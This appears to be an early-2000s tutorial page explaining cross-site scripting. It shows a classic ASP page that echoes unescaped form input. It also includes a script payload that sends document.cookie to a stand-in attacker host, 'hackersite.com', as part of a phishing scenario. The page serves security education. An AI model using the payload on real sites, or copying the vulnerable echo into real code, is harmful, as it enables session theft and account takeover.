Home|Sitemap|Contact

What is Cross Site Scripting - XSS?

Many web dynamically generated web pages use input from untrusted sources. If the input is not properly validated, malicious HTML tags or script may be executed or presented to the web user. There are many places in a web page where input may be used improperly providing an attack vector. Many of these potential problems are easy to spot yet are often overlooked either due to the web designer's ignorance of XSS threats or lack of testing before putting code into production. Some of these potential problem areas are subtle and easily overlooked by web designers.

Web design tools and languages do not provide any comprehensive protection against untrusted input being used to create dynamic content.

XSS can be summed up in four simple words; ALL INPUT IS EVIL.
Example 1: Form Input


In the simplest example of XSS to understand form input is used to produce page output. In the example above untrusted JavaScript is executed. Of course the example shown is trivial and not harmful, but it certainly can be made harmful. Usually it is made harmful more by what the web designer chooses to do with the untrusted input. A simple example using classic ASP follows.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="author" content="Roderick Divilbiss">
<meta name="copyright" content="© 2005, 2006 Roderick Divilbiss">
</head>
<body>
<%=request.form("input1")%>
<form name="frm" action="example.asp" method="post">
  <input type="text" size="40" name="input1" value="&lt;script&gt;alert('XSS Succeeded')&lt;/script&gt;">
  <input type="submit" name="submit" value="Submit">
</form>
</body>

</html>

Okay, I see the "Scripting" part but where does the "Cross Site" part come in? Imagine that the web site with the vulnerability in their code allows you to store your user id and password in a cookie so you can browse to the site without logging in every time. (Unlikely, not really. Yahoo mail, Match.com and many other major players offered this feature.) The hacker wants access to your account. He can gain access with your cookie data. So the hacker sets up a web site with a page to record and save stolen cookie data. He can send a phishing e-mail, appearing to be from the legitimate web site with a link for you to click. That link will take you to the page with the scripting vulnerability and execute <script>window.open('http://www.hackersite.com/badpage.asp?usercookie='+document.cookie")</script>.

If you click on the link, you will be taken to the site with the vulnerability. At that site, your browser's security setting say it is okay to open the cookie belonging to that site. Your browser will open the cookie, open a window for the hacker's site, send the data to the hacker's page ("Cross Site") and the hacker's page will store your data in his database and close the window.

Simple. So you are playing Devil's advocate. The browser prevent's pop-up windows. Okay, we will use another method. As good as Firefox is at preventing those annoying (and now we know dangerous) pop-ups, you still see a few pop-under windows. I won't use cookies to store sensitive data. That's fine, don't use cookies. But you better assume that whatever you decide to do, the hacker is going to find some way to exploit it. Maybe it won't be XSS, but why allow that attack vector?

Next